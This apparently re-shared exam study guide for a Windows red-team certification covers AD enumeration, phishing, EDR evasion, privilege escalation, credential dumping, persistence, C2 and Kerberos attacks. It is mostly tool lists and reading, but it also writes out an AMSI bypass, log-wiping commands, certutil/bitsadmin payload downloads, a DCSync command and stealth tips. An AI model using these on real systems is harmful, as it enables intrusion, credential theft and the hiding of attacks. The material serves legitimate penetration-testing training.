Credits & Disclaimer

� Uploaded by: [Link]

� Stay updated with more cybersecurity content at: [Link]

� To improve your hacking skills Join our discussion group: [Link]

� This content is shared for educational purposes only. Please support the original creators by
purchasing official courses when possible.

� Knowledge is power—use it responsibly!

Certified Red Team Professional (CRTPro) Exam Study Guide

This guide covers key Red Team topics for the CRTPro exam (a 5-hour Windows-focused
practical exam ([Link]). Each section below includes an overview, importance
for CRTPro, recommended reading (from the specified resources), hands-on labs, useful
tools, and exam tips. References (in brackets) point to in-depth resources.

Windows Internals for Red Teaming

� Overview

Understanding Windows architecture — including processes, threads, memory, drivers,

tokens, etc. — is fundamental. The CRTPro exam explicitly expects an “understanding of
Windows internals” ([Link]). Deep knowledge of these internals supports
stealth operations (e.g., code injection, unhooking APIs) and helps with debugging (e.g.,
using WinDbg). A recommended starting point is [Link]’s “Windows Kernel Drivers 101”,
which introduces key kernel/OS concepts.

� Recommended Reading

• [Link]:

o Windows Kernel Drivers 101

o SSDT and PEB notes

• HackTricks:

o Articles on PEB/TEB

• HackTheBox Blogs:

o Guides on process injection

• Harmj0y & ADSecurity:

o Deep dives into Windows tokens and privilege mechanics

• Lorenzo Meacci’s Red Team Path:

o Covers Win32 internals basics and practical use cases

� Labs / Exercises

• Use a Windows VM (e.g., Windows 10)

• Try TryHackMe or Hack The Box labs (e.g., Windows Internals, Process Injection)

• Practice with Sysinternals tools:

o Process Explorer: Analyze process hierarchy and threads

o Process Monitor: Track registry and file system activity

o Autoruns: View auto-start entries and loaded modules

• Explore:

o Writing simple kernel-mode drivers

o Performing userland code injections using C or C++

� Tools
 • WinDbg (kernel/user mode debugging)

• Sysinternals Suite

• Process Hacker

• RootkitRevealer

• AccessChk, whoami /priv – Inspect token privileges

• [Link], WinObj – Explore kernel objects and handles

🛰🛰 Enumeration and Recon (Domain, Network, Host)

� Overview

Mapping the network and Active Directory (AD) environment is critical post-access. The goal
is to discover hosts, shares, domain trusts, users, groups, and services. This falls under
MITRE’s Discovery tactic (TA0007) — using native tools to “gain knowledge about the system
and internal network” ([Link]).
Effective recon directly contributes to identifying high-value targets and building viable
attack paths.

� Recommended Reading

• HackTricks:

o Pentesting Methodology

o AD Cheat Sheets

• [Link]:

o Enumeration notes (e.g., PowerView AD enumeration)

• [Link]:

o AD Discovery techniques and walkthroughs

• HackerSploit / TrustedSec:

o Reconnaissance guides and AD enumeration strategies

• MITRE ATT&CK:

o Discovery technique references and command/tool examples

� Labs / Exercises

• TryHackMe:

o Labs like Internal Network (Active Directory), AD Recon

• Hack The Box:

o AD-focused machines like Active, Forest

• Practice the following:

o Nmap scanning of subnets

o Native commands: nbtstat, net view

o AD-aware tools:

 BloodHound, PingCastle, AD Recon Scripts

 PowerShell: Get-ADUser, Get-ADComputer, net group /domain, nltest

� Tools

Tool Purpose

nmap / Zenmap Subnet scanning and service enumeration

rpcclient SMB/NetBIOS enumeration

PowerView PowerShell AD enumeration module

BloodHound / SharpHound Visual AD relationship mapping

Credential reuse, SMB enumeration,

crackmapexec
recon

net, dsquery, adfind Basic and advanced AD queries

Windows commands (netstat, arp -a, whoami

Local host and session details
/all)

LDAP utilities Parse and craft LDAP queries

� Exam Tips

• Enumerate systematically:
 o Start with local shares and sessions (net share, net session)

o Move to domain accounts (Get-ADUser, net group /domain)

o Investigate trusts and AD sites (nltest, dsquery)

• Identify and document:

o Service accounts, SPNs, admin users, group memberships

• Organize findings:

o Use a spreadsheet or notes to track users, hashes, open ports, and trust
relationships

• Use tools stealthily:

o Limit noisy LDAP/SMB enumeration that may trigger detection

• Be ready to pivot effectively using gathered credentials, open ports, or exposed

shares

🎣🎣 Initial Access Techniques (Phishing, MalDocs, Living Off the Land)

� Overview

Initial access is “arguably the most delicate part of a red team assessment”
([Link]). This phase involves a variety of techniques to gain a foothold in
the environment. Common methods include:

• Phishing emails with malicious documents (macros, DDE, LNK files)

• Exploiting exposed services (e.g., RDP, MS-SQL)

• Physical attack vectors (e.g., USB Rubber Ducky)

Office macros are a classic attack method, but executing them requires bypassing
modern AV/EDR detections. Living-off-the-land binaries (LOLBins) can also be leveraged
for stealthy payload execution.

� Recommended Reading

• Lorenzo Meacci

o Advanced Initial Access Techniques – covers multi-stage delivery chains and

phishing infrastructure

• [Link]
 o Articles on phishing, including Phishing with MS Office, T1173: Phishing - DDE

• HackTricks

o LOLBAS and File Formats, stealth delivery methods

• TrustedSec Blog

o Phishing campaigns and infrastructure setup

• HackingArticles

o Office macro payload generation tutorials

• [Link]

o Notes on DDE abuse and weaponized file formats

� Labs / Exercises

• TryHackMe

o Phishing Security 101, or related email exploitation labs

• Hands-On Labs

o Windows Privilege Escalation: Mailbox Dumping (GAL extraction)

o Create macro-weaponized documents using Empire or MSFvenom

o Build phishing campaigns using Gophish or local email server

• Physical Vector Practice

o Use USB Rubber Ducky payloads in a sandbox VM lab

o Simulate drop scenarios and privilege escalation via autorun or LOLBins

� Tools

Tool Use Case

Office 365 / OSEMs Crafting malicious Office documents

Macro_Pack Auto-generate obfuscated Office macro payloads

Embedsploit Embed payloads inside different file formats

Gophish Open-source phishing campaign framework

Tool Use Case

Reverse proxy phishing platform (phishing through

Modlishka
MFA)

Leverage built-in Windows binaries like mshta,

LOLBAS
regsvr32, certutil

Metasploit / Empire / Cobalt Macro builders, shellcode staging, and payload

Strike generation

� Tips for the Exam

• Identify drop points: Look for upload portals or exposed SMB shares where you can
drop payloads

• Macro security bypass: Use self-signed trusted certs, DDE exploits, or LOLBins

• Test before execution: Always test payloads in a Windows 10 VM with Windows

Defender or EDR enabled

• Recon for data leaks: Dump GAL or look for readable public shares — these can
reveal usernames or passwords

• Have fallbacks: If phishing fails, pivot to service exploits, SMB relays, or credential
stuffing
🛡🛡 AV/EDR Bypass and Defense Evasion

� Overview

Modern enterprise environments are heavily defended by built-in antivirus (like Windows
Defender) and third-party Endpoint Detection and Response (EDR) solutions. For the
CRTPro exam, stealth and evasion are vital — as emphasized in the syllabus under
“stealthy post-exploitation.”

Key evasion strategies include:

• Packing/obfuscating binaries

• Unhooking userland APIs

• Reflective loading (manual mapping)

• Using LOLBins (Living-off-the-Land Binaries)

 • Avoiding signature-based and behavioral detections

For instance, a single-byte change in a payload can bypass Defender signature detection
([Link]).

� Recommended Reading

• [Link] – Defense Evasion

o AV Bypass with Metasploit Templates

o Unhooking Windows APIs

• HackTricks

o AV/EDR evasion techniques: Process Injection, Indirect Syscalls, Obfuscated

DLL loading

• Harmj0y / SpecterOps

o In-depth research on AMSI/PPL bypasses, hunter-mode injection, ETW

tampering

• HackingArticles

o Payload obfuscation tutorials (e.g., XOR, Base64 encoding)

o Manual shellcode runners and payload generators

� Labs / Exercises

• TryHackMe

o Red Team OPSEC – includes detection avoidance against Sysmon and

Defender

• HackTheBox

o Ebox – real-world EDR bypass via unhooked APIs and stealthy post-ex

• Sandbox Testing

o Set up a Windows 10/11 VM with Defender

o Install Microsoft Defender for Endpoint (ATP Trial) or simulate EDR behavior
using Sysmon

o Build custom C# reflective loaders, simulate shellcode injections

 • Practice Areas

o AMSI and ETW bypasses

o Manual API resolution

o Indirect syscalls with SysWhispers2

o Manual PE injection and in-memory execution

� Tools

Tool Purpose

Veil-Evasion Generates obfuscated payloads (Python, C#, Powershell)

Donut Converts .NET executables into shellcode

Modern EDR evasion framework (bypasses Defender,

ScareCrow
CrowdStrike)

.NET Oblivion Obfuscates .NET binaries to evade analysis

Shellter Injects shellcode into PE files stealthily

Invoke-Obfuscation PowerShell obfuscation framework

SHARP-suspend Suspends security services at runtime

ETW Bypass (Erkin’s

Removes Event Tracing hooks
method)

Customize Beacon profile, evade C2 detection with jitter &

Cobalt Strike
encryption

SysWhispers /
Perform indirect syscalls (API call obfuscation)
SysWhispers2

� Tips for the Exam

• Always test payloads locally in a Defender-enabled VM and monitor logs with Event
Viewer, Sysmon, or Procmon

• Avoid static indicators – don't use default Mimikatz or common LOLBins

unmodified
 • Use custom Beacon profiles and staging (e.g. https-only, jitter >30%) to reduce C2
signature detection

• Suspend or disable logging (e.g. wevtutil, eventlog service) when needed

• Avoid AMSI triggers: use patched [Link] or runtime bypass with reflection

• Look for high-privilege EDR processes (PPL) and avoid injecting into them blindly

• Don’t rely on default payloads – recompile and scramble all binaries

🔐🔐 Privilege Escalation (Windows)

� Overview

Once an initial foothold is gained, the next objective is to escalate privileges — ideally to
NT AUTHORITY\SYSTEM or Domain Admin. In CRTPro, expect at least one local privilege
escalation challenge.

MITRE ATT&CK defines Privilege Escalation (TA0004) as techniques that grant higher-level
permissions on a system.

Common escalation paths include:

• Weak service permissions

• DLL hijacking

• Hot patching or PatchGuard bypass

• Token impersonation (e.g. Juicy Potato)

 • Exploiting misconfigurations or older kernel-mode CVEs

• Unquoted service paths, insecure environment variables, always-install-elevated

settings

� Recommended Reading

• HackTricks – Windows Privilege Escalation

o Checklist of local privesc techniques

• [Link]

o Labs:

 Unquoted Service Path Hijacking

 $PATH Environment Variable Abuse

 DLL Sideloading & Token Abuse

• HackingArticles

o Known CVEs (e.g. SpoolFool, PrintSpoofer, Task Scheduler Bugs)

o Step-by-step exploitation labs

• ADSecurity / SpecterOps

o Internals on tokens, impersonation, and service abuse

• Lorenzo Meacci – Red Team Path

o Likely includes privesc strategy as part of post-exploitation

� Labs / Exercises

• TryHackMe

o Windows Privilege Escalation

• HackTheBox Machines

o “Forest”, “Blue”, “Bastion”, “Resolute”, “Offsec”

• Custom VM Setup

o Create vulnerable services with weak permissions

o Use accesschk, icacls to validate attack paths

 • Exercise Ideas

o Enumerate and abuse AlwaysInstallElevated

o Hijack insecure service paths

o Load rogue DLLs via DLL Search Order Hijacking

o Practice impersonation with JuicyPotato or RoguePotato

� Tools

Tool Purpose

WinPEAS Automated enumeration for Windows privilege escalation

PowerUp.ps1 Powershell script to identify local misconfigurations

JuicyPotato / RoguePotato Token impersonation to escalate to SYSTEM

CVE Exploit Tools e.g., CVE-2021-1647, SpoolFool, PrintSpoofer

Mimikatz Steal and reuse tokens (Sekurlsa, Token::Elevate)

Accesschk (Sysinternals) Check permissions on services/files/registry

Metasploit getsystem, token stealing, and privilege modules

� Tips for the Exam

• Systematically check for escalation vectors:

o whoami /priv, whoami /groups

o sc qc, icacls, schtasks /query

• Look for:

o Unquoted service paths

o Writable service executables or configs

o Insecure scheduled tasks

o Writable directories in the PATH environment

• If local admin on a workstation, consider lateral movement (e.g. Pass-the-Hash,

WMI)
 • Timebox kernel exploit attempts — only pursue if clear and safe

• Use token impersonation or DLL hijacking over noisy exploits

• Understand S4U abuse and SeImpersonatePrivilege

🧬🧬 Credential Access Techniques (LSASS Dumping, SAM, Mimikatz, etc.)

� Overview

After privilege escalation, harvesting credentials is often the next step. These include
passwords, NTLM hashes, Kerberos tickets, and stored secrets. Techniques like LSASS
memory dumping, SAM hive extraction, Kerberos ticket theft, and [Link] replication
(DCSync) are essential for lateral movement and full domain compromise.

MITRE ATT&CK: Credential Access (TA0006)

� Recommended Reading

• ADSecurity – Mimikatz & DCSync

o Detailed walkthrough of pulling NTDS secrets via RPC

• HackTricks

o Credential dumping techniques, Pass-the-Hash, and ticket reuse

• [Link]
 o Dumping LSASS Without Mimikatz, PowerShell alternatives, Kerberos ticket
abuse

• HackingArticles

o LSASS dump methods, SAM registry attacks

• MITRE Techniques:

o T1003: OS Credential Dumping

� Labs / Exercises

• TryHackMe

o “AD Exploitation” or “Credential Access” labs

• Domain Controller VM

o Dump [Link] and test DCSync manually

• Simulated Attacks

o Dump LSASS via procdump

o Save and extract SAM/SYSTEM using reg save

• Cracking Practice

o Use Hashcat or John to crack dumped NTLM hashes

• MetaSploit Exercises

o Use kiwi or incognito post modules to steal tokens and secrets

� Tools

Tool Purpose

Mimikatz / Invoke-Mimikatz Dump passwords, hashes, tickets, and tokens

Rubeus Extract & forge Kerberos tickets

Impacket [Link], [Link]

[Link] Dump LSASS memory safely

gsecdump, CredDump LSASS/SAM alternative dumpers

Tool Purpose

KeePass / Vaults Search for stored plaintext creds

PowerView Enumerate AD users/groups with ACLs for DCSync

� Tips for the Exam

• LSASS Dumping Options

o procdump, direct from memory (in-memory Mimikatz), or Process Hacker

• Avoid Detection

o Use stealthy in-memory execution (Invoke-Mimikatz or Cobalt Strike

Beacon)

• Understand DCSync

o Requires Replicating Directory Changes All permission

o Target krbtgt for Golden Ticket

• Token Duplication

o Use Mimikatz → token::list → token::elevate or incognito

• Log Parsing

o Always check Defender logs post-dump to assess detection

� Post-Exploitation Techniques (Persistence & Lateral Movement)

� Overview

Once access to a system is gained, the next critical steps involve maintaining access
(persistence) and expanding control across the network (lateral movement). In CRTPro, this
phase tests your stealth, planning, and operational security.

• Persistence (TA0003): Ensure access survives reboot, logout, or detection.

• Lateral Movement (TA0008): Move from one compromised system to others using
stolen credentials or trusted connections.

� Common tactics:

• Scheduled tasks, autoruns, registry keys, services, WMI events

 • PsExec, WMI/WinRM/RDP access, pass-the-ticket/hash, DCOM exploitation,
AdminSDHolder abuse

� Recommended Reading

• AddieLaMarr – Post-Exploitation Techniques

� Obsidian Publish: Post-Exploitation

o Covers persistence via registry/service/schtasks and lateral using PsExec,

WMI, tokens, etc.

• Rapid7 Metasploit Guide – Post-Exploitation

� Metasploit Post-Exploitation

• HackTricks

o Persistence (run keys, services, WMI backdoors), Lateral techniques (Pass-the-

Hash, DCOM, RDP)

• [Link] Labs

o AdminSDHolder backdooring, DCOM lateral movement, WMI event-based

persistence

• ADSecurity / Harmj0y / SpecterOps

o Deep dives into Pass-the-Ticket, OverPass-the-Hash, PetitPotam, ACL abuse

• BloodHound Docs

o Identify real-world lateral paths using AD ACL and group delegation maps

� Labs / Exercises

• TryHackMe

o “Persistence”, “AD Post-Exploitation”, “WMI Lateral Movement” labs

• HackTheBox Machines

o “Monteverde”, “Forest”, “Lateral”, “Cascade” — involve real AD

lateral/persistence

• Practice Tasks:

o � Persistence:

 Add a hidden local admin → net user /add + net localgroup

  Registry autoruns → reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

 WMI event subscription → Event consumer-based persistence

 Scheduled tasks → schtasks /create ... or [Link]

o � Lateral Movement:

 [Link], [Link], winrm (PowerShell Remoting)

 RDP login with dumped credentials

 Pivot via SOCKS proxy → Cobalt Strike / Metasploit pivoting modules

� Tools

Tool Purpose

persistence, clearev, hashdump, migrate, keyscan,

Meterpreter
pivot

Modules for persistence and WMI lateral

Empire
movement

[Link], [Link], [Link],

Impacket Suite
[Link]

spawnas, Beacon pivoting, SOCKS proxying,

Cobalt Strike
psinject

BloodHound / SharpHound Visualize attack paths, find excessive privileges

schtasks / [Link] / reg add Task/registry persistence

PowerView / Powermad / Invoke-

Persistence/lateral scripts
WMIEvent

Chisel, FRP Reverse SOCKS/port forwarding (pivot helpers)

� Tips for the Exam

• Persistence Best Practices

o Create multiple backdoors (registry + WMI + user account)

 o Use non-obvious names (svchosts, updsvc, etc.)

o Consider WMI Event Consumers for stealth (not listed in many AV logs)

o Confirm persistence survives reboot and logout

• Lateral Movement OPSEC

o Target systems where your user is local admin (use BloodHound or net
sessions)

o Use valid credentials with low-profile techniques: WMI, WinRM, or PsExec

o RDP is high-profile; avoid if stealth is important unless combined with

screenshot tools

o Clean up after execution (clearev, Remove-PSSession, delete schtasks)

• Pivoting & Tunneling

o Use SOCKS proxies to pivot tools like Rubeus or BloodHound

o Forward RDP/SMB/LDAP ports with Chisel or SSH tunneling

o Understand and apply multi-hop logic (pivot from host A → B → C)

• Log Management

o Optionally disable or clear logs (eventlog, evtx) — depends on scope/rules

o Use Invoke-Phantom or similar to hide from event traces

� Checklist Before Moving Laterally

• Local Admin or DA access obtained?

• Valid user credentials or token?

• Confirm remote ports open (SMB, WinRM)?

• Anti-virus evasion tested (binary or script)?

• Confirm pivot tunnel or C2 beacon stability?

🎛🎛 Command and Control (C2) Frameworks

(Cobalt Strike, Sliver, Mythic, Empire, Metasploit)

� Overview

C2 frameworks allow you to remotely control compromised systems, run post-exploitation

tasks, and persist across environments. In the CRTPro exam, expect to deploy a
Beacon/agent, manage sessions, and maintain stealth over extended operations.

Key Concepts:

• Listener/Team Server: Handles incoming connections from agents (Beacons).

• Payload/Beacon: Code on the victim that communicates with your listener.

• Channels: HTTP/HTTPS, SMB, DNS, or TCP for communication.

• OPSEC: Control jitter, sleep, staging, encryption, and command visibility.

� Recommended Reading

• � [Link] – Cobalt Strike 101 – Excellent Cobalt Strike fundamentals

• � Sliver C2 Documentation – Usage, listener config, cross-platform agents

• � TrustedSec Blog – OPSEC and real-world red team C2 strategies

• � HackTricks – C2 Frameworks – Empire, Sliver, CS, Mythic

 • � Red Team Path (Lorenzo Meacci) – C2 lab setups, payload delivery

� Labs & Exercises

• Local Lab Setup

o Deploy Cobalt Strike (TeamServer + attacker UI)

o Deploy Sliver (free, Go-based, supports Windows/Linux/macOS)

o Set up Windows VM as a target and generate payloads

• Test Deployments

o Launch staged vs stageless payloads

o Configure HTTPS listener with valid TLS cert or self-signed

o Test Beacon sleep/jitter values (e.g. sleep 60 20)

o Try SMB and pipe pivoting from host to host

• Cross-Platform

o Use Sliver to generate payloads for macOS/Linux

o Deploy reverse shell via Python or Bash for minimal footprint

� Common Tools

Tool Description

Full-featured commercial red team C2. Beacon, SOCKS pivoting,

Cobalt Strike
Mimikatz, OPSEC controls

Open-source C2 by BishopFox. Cross-platform, staged/stageless,

Sliver
encrypted comms

Modern, modular C2 supporting HTTP, WebSockets, SMB, and

Mythic
more

Metasploit Multi/handler, msfvenom, post modules for Beacon-like control

Donut Converts .NET/EXE into shellcode (used with CS/Sliver payloads)

SharpC2 / Covenant /
PowerShell/C#-based C2s for native post-exploitation
Empire
� Tips for CRTPro & OPSEC

� Listener & Beacon Configuration

• Use random ports, rotate pipe names (e.g., \\.\pipe\winupdate)

• Change default C2 profiles to avoid static detection (especially in Cobalt)

• Use valid TLS certs or tweak User-Agent for HTTP/HTTPS payloads

• Adjust sleep + jitter (e.g., sleep 120 40) to avoid behavioral detection

� Interactive Features

• Cobalt Strike

o keylogger, screenshot, bypassuac, mimikatz, spawnas

o argue (spoof command line args): argue calc /spoofed

• Sliver

o Built-in shell, upload/download, spawn, pivot, tunnel

o Supports Jitter, Killdate, Auto-uninstall, Named Pipes

� Pivoting & Tunneling

• Use SOCKS proxies in Beacon or Sliver (socks in CS, socks5 in Sliver)

• Pivot through SMB, WMI, or custom launchers (CS: jump, Sliver: pivot)

� Cleanup

• At exam end, remove dropped payloads, kill Beacons, uninstall agents

• Use tasklist, schtasks, netstat to confirm no running C2s

• Disable persistence mechanisms (reg keys, services) if set

� Exam Checklist for C2

Task Done

Set up listener with custom options (HTTPS, pipe, jitter)? ☐

Created and obfuscated Beacon payload (stageless preferred)? ☐

Task Done

Achieved callback and stable C2 session? ☐

Performed pivoting/lateral movement through C2? ☐

Verified OPSEC (no default profiles, stealthy sleep)? ☐

Cleaned up Beacons and removed artifacts post-task? ☐

� Active Directory Attacks

(Kerberoasting, ACL Abuse, DCSync, Ticket Forgery)

� Overview

Active Directory (AD) is a prime CRTPro target. Once inside the domain, attacks like
Kerberoasting, ACL abuse, and DCSync allow lateral escalation and Domain Admin (DA)
compromise.

Technique Goal

Extract Service Tickets (TGS) to crack service account passwords

Kerberoasting
offline

ACL Abuse Modify objects (users/groups) due to misconfigured permissions

Technique Goal

Imitate a Domain Controller to dump password hashes via

DCSync
replication

Golden/Silver
Forge Kerberos tickets with krbtgt or service account hashes
Tickets

Delegation Attacks Abuse unconstrained or constrained delegation settings

� Recommended Reading

• � HackTricks – Active Directory Attacks

• � HackingArticles – Kerberoasting Deep Dive

• � [Link] – ACL Abuse

• � ADSecurity – Mimikatz DCSync

• � ADSecurity – Kerberos & Ticket Attacks

• � BloodHound Docs – Finding attack paths (ACLs, group memberships)

� Labs & Exercises

Use TryHackMe or HackTheBox Labs:

• TryHackMe: Attacktive Directory, AD Playground, Blue Team Labs

• HackTheBox: Forest, Cascade, Active, Jewel, Blackfield

Practice:

• � Kerberoasting

o Use [Link] (Impacket) or Rubeus kerberoast

o Crack hashes with Hashcat: $krb5tgs$23$...

• � ACL Abuse

o Run BloodHound/SharpHound to visualize attack paths

o Use Get-DomainObjectACL, Add-DomainObjectACL (PowerView)

o Look for rights like GenericAll, WriteOwner, WriteDACL

 • � DCSync

o Requires DA-level or Replicating Directory Changes All right

o Mimikatz:

cpp

CopyEdit

mimikatz # lsadump::dcsync /domain:<domain> /user:<target>

• � Golden/Silver Tickets

o Dump krbtgt hash → forge TGT (Golden)

o Dump service account hash → forge TGS (Silver)

o Use kerberos::golden in Mimikatz or Rubeus tgtdeleg/asktgt

� Key Tools

Tool Use

Rubeus Kerberos ticket operations (TGT/TGS request, roast, inject)

Impacket [Link], [Link], [Link], [Link]

Mimikatz lsadump::dcsync, kerberos::golden, sekurlsa::logonpasswords

AD recon and ACL enumeration (Get-DomainUser, Get-

PowerView
DomainObjectACL)

BloodHound/SharpHound Visual graph of permissions, privileges, and attack chains

� Tips & Tricks

� Kerberoasting

• Use:

setspn -Q */*

Or in PowerView:

Get-DomainUser -SPN

• Filter out high-privileged accounts

 • AES-encrypted tickets (default in modern domains) are harder to crack; older
systems use RC4 (crackable)

� ACL Abuse

• Abuse GenericAll, GenericWrite, WriteOwner, WriteDACL

• Write access to a user object = reset password and impersonate

• Use:

Add-DomainObjectACL -TargetIdentity <User> -Rights All -PrincipalIdentity <You>

� DCSync

• Must have:

o Replicating Directory Changes

o Replicating Directory Changes All

• Always use a stealthy domain user if available to avoid alerting blue team

� Golden Ticket

• Needs krbtgt NTLM hash

• Persist indefinitely with TGT injection

• OPSEC tip: Set short lifetime (5-10 mins) for forged TGTs in live tests

� CRTPro Exam Checklist – AD Attacks

Task Done

Enumerated domain users, SPNs, and trust relationships? ☐

Successfully performed Kerberoasting and cracked hash? ☐

Identified ACL misconfigs via BloodHound or PowerView? ☐

Performed DCSync with correct privileges? ☐

Understood and used Golden/Silver ticket attacks? ☐

Verified stealth and ticket validity post-injection? ☐

🕵🕵🕵🕵 OPSEC for Red Teams

� Overview

Operational Security (OPSEC) is about stealth. During the exam (and in real operations),
you must:

• Blend in with normal activity

• Avoid detection by defenders (and EDRs/logs)

• Cover your tracks after each step

� CRTPro Expectation: Show awareness of detection vectors, stealth tactics, and

cleanup. Noisy actions (e.g., obvious Mimikatz usage or dropping tools in temp folders)
will cost points.

� Recommended Reading

• � TrustedSec – “Walking the Tightrope” (Stealthy operations)

• � SpecterOps Blog – Will Schroeder

• � HackTricks OPSEC Notes

• � Lorenzo’s Red Team Path + LinkedIn posts (great exam-specific OPSEC insights)

� Labs/Exercises
 • � TryHackMe – Red Team OPSEC: Practice evasive payload delivery, AMSI
bypasses, log wiping

• � Use a local lab: Monitor Windows logs (Event Viewer) while running tools like
Rubeus, Mimikatz, or Invoke-ReflectivePEInjection

� Tools and Techniques for Stealth

Tool Use

� Donut Convert PE/.NET into in-memory shellcode

� runas /netonly Use domain creds without creating sessions

� wevtutil cl Clear Windows logs (carefully!)

� CertUtil / BITSAdmin Covert file download/upload

� Iodine DNS tunneling shell access

Avoid writing to disk; avoid default function

� Rubeus/Mimikatz (in-memory)
names

� SilentProcessExit + PPL Bypass Hide sensitive injections and AV evasion

� [Link] patch / bypass Disable AMSI detection in PowerShell payloads

� Living Off The Land Binaries

Use regsvr32, mshta, rundll32, forfiles, etc.
(LOLBins)

� Tips and Best Practices

� Payload Naming & Storage

• Never use names like [Link], [Link]

• Use legit-looking names: [Link], [Link], etc.

• Timestamp files with:

copy /b fi[Link] +,, # Preserves timestamp

� File Transfer

• Avoid direct wget/curl – prefer:

 o certutil -urlcache -split -f [Link] fi[Link]

o bitsadmin /transfer <name> [Link] C:\Users\Public\fi[Link]

• Obfuscate or encode files (Base64, XOR) before transfer

� Execution

• Avoid writing payloads to disk: use in-memory injection

• Use runas /netonly for impersonation:

runas /netonly /user:DOMAIN\user "[Link]"

� AMSI Bypass (Quick)

[Ref].[Link]('[Link]')::amsiInitFailed =
$true

� Covering Tracks

• Delete payloads after use:

del /f /q fi[Link]

• Wipe logs only if safe to do:

wevtutil cl System

wevtutil cl Security

wevtutil cl Application

� Network Behavior

• Use HTTPS C2 if possible (randomized jitter, sleep intervals)

• Avoid constant beaconing (Cobalt Strike: sleep 60; jitter 30)

• VPN always on exam network; never tunnel out to other machines

� CRTPro OPSEC Checklist

Item Status

Used legitimate filenames for all payloads ☐

Used in-memory payload delivery (Donut, IEX, etc.) ☐

Cleaned up payloads/logs after execution ☐

Item Status

Avoided noisy tools (e.g., GUI Mimikatz) ☐

Did not use PowerShell with -ExecutionPolicy Bypass openly ☐

Used built-in LOLBins for recon and execution ☐

VPN connection active at all times ☐

🎯🎯 Real-World TTPs (MITRE ATT&CK Mapping)

� Overview

• CRTPro expects you to identify, use, and name techniques using their MITRE ATT&CK
mappings.

• Each tactic has multiple techniques. Learn key ones for Credential Access, Privilege
Escalation, Lateral Movement, and Persistence.

• Knowing IDs like T1003 (Credential Dumping) or T1059 (Command and Scripting
Interpreter) improves your clarity and scoring.

� Recommended MITRE TTP Mappings (Core Techniques)

MITRE Tactic (ID) Description Key Techniques to Know

T1078 Valid Accounts, T1133 External

Initial Access (TA0001) Gaining entry
Remote Services
MITRE Tactic (ID) Description Key Techniques to Know

T1059 PowerShell, T1203 Exploitation for

Execution (TA0002) Code runs on system
Client Execution

T1547.001 Registry Run Keys, T1053.005

Persistence (TA0003) Survive reboot
Scheduled Task

Privilege Escalation T1055 Process Injection, T1134.001 Token

Gain higher privileges
(TA0004) Impersonation

Defense Evasion T1112 Modify Registry, T1562 Disable

Bypass AV, logs
(TA0005) Security Tools

Credential Access T1003.001 LSASS Dumping, T1555 Browser

Steal creds or hashes
(TA0006) Credential Stealing

T1016 System Network Config, T1087

Discovery (TA0007) Internal recon
Account Discovery

Lateral Movement T1021.002 SMB/PSExec, T1047 WMI,

Move between hosts
(TA0008) T1021.006 WinRM

T1005 File Collection, T1113 Screen

Collection (TA0009) Gather data
Capture

Command & Control Control compromised

T1071.001 HTTP, T1095 Non-Standard Port
(TA0011) systems

Exfiltration (TA0010) Data theft T1041 Exfil over C2 channel

Impact (TA0040) Disrupt or destroy T1489 Service Stop, T1486 Data Encryption

� Practice Tip

• As you perform attacks in labs or CRTPro exam, tag each action with the ATT&CK ID
in your notes:

#T1555 - Credential Access via Mimikatz (sekurlsa::logonpasswords)

� CRTPro Exam Strategy & Tips

� Time Management Plan (5-hour exam)

Phase Time Tasks

� Enumeration 45–60 min Discover hosts, users, shares, SPNs

� Initial Foothold 30–45 min Phishing, exploit, weak credentials

� Priv Esc 30–45 min Token impersonation, UAC bypass, ACL abuse

� Lateral Movement 45–60 min PSExec, WMI, WinRM, ADCS, DCSync

� Domain Domination 30–45 min Dump krbtgt / DA, create new admin

� Cleanup + Flags 30–45 min Verify flags, clean up, submit evidence

� Note-Keeping Best Practices

Item Details

� Label all hosts e.g., WS01, DC01, APP01

� Track credentials svcprinter:C0nnectMe123!

� Screenshot format Full window + terminal + flag clearly shown

� Tools to use CherryTree, Obsidian, OneNote, simple .md log

� Common Pitfalls

Mistake Fix

� Tunnel vision on one Try alternative attacks (e.g., from ACL abuse to AS-REP
method Roasting)

� Not testing all login methods Always try RDP, WMI, winrs, runas /netonly

� Breaking services (e.g. DC

Only stop what you fully understand
roles)

� Forgetting MITRE mapping Use it as a checklist—bonus points in write-ups

� General Advice & Tricks

• Flag locations might not be in obvious spots. Always:

o Check Desktop, Downloads, %TEMP%, public shares.

o Dump memory for secrets if creds don’t work immediately.

• Document all lateral movement paths – what user is where, what admin to what
host.

• Always try impersonating tokens if you're SYSTEM:

Invoke-TokenManipulation -ShowAll

Invoke-TokenManipulation -Impersonate -User "DOMAIN\Admin"

• Check shares for creds:

net view \\HOST

net use \\HOST\Share

📋📋 CRTPro Final Hour Checklist

Task Complete?

All flags found, screenshots taken? ☐

Creds recorded with clear source machine? ☐

Cleaned up payloads/logs? ☐

Checked for missed users/admins? ☐

Verified lateral paths to DCs? ☐

VPN connected and stable? ☐

Notes saved/exported? ☐

Additional Help:

MITRE ATT&CK Tactics Mapping Cheat Sheet

─────────────────────────────

| MITRE ATT&CK Cheat Sheet |

─────────────────────────────

TACTIC | EXAMPLES (Techniques & IDs)

─────────────────────────────────────────────────────────────

Initial Access (TA0001)

- Valid Accounts (T1078)

- External Remote Services (T1133)

- Spearphishing (T1566)

Execution (TA0002)

- PowerShell (T1059.001)

- Command Shell (T1059.003)

- Exploitation for Client Execution (T1203)

Persistence (TA0003)

- Registry Run Keys (T1547.001)

- Scheduled Tasks (T1053.005)

- WMI Event Subscription (T1546.003)

Privilege Escalation (TA0004)

- Process Injection (T1055)

- Token Impersonation (T1134.001)

- Exploitation of Vulnerabilities (T1068)

Defense Evasion (TA0005)

- Modify Registry (T1112)

- Disable Security Tools (T1562)

- File Deletion (T1107)

Credential Access (TA0006)

- Credential Dumping (T1003)

- Brute Force (T1110)

- Input Capture (T1056)

Discovery (TA0007)

- Account Discovery (T1087)

- Network Service Scanning (T1046)

- System Information Discovery (T1082)

Lateral Movement (TA0008)

- SMB/PSExec (T1021.002)

- WMI (T1047)

- Remote Services (T1021)

Collection (TA0009)

- File and Directory Discovery (T1083)

- Screen Capture (T1113)

- Clipboard Data (T1115)

Command and Control (TA0011)

- HTTP/S Beacon (T1071.001)

- DNS Tunneling (T1071.004)

- Custom Command Protocol (T1095)

Exfiltration (TA0010)

- Exfiltration Over C2 Channel (T1041)

- Data Transfer Size Limits (T1030)

Impact (TA0040)

- Data Destruction (T1485)

- Service Stop (T1489)

- Data Encrypted for Impact (T1486)

─────────────────────────────

Keep this handy during exams and practice!

─────────────────────────────

Custom Exam Day Note Template

# CRTPro Exam Notes

## � Enumeration

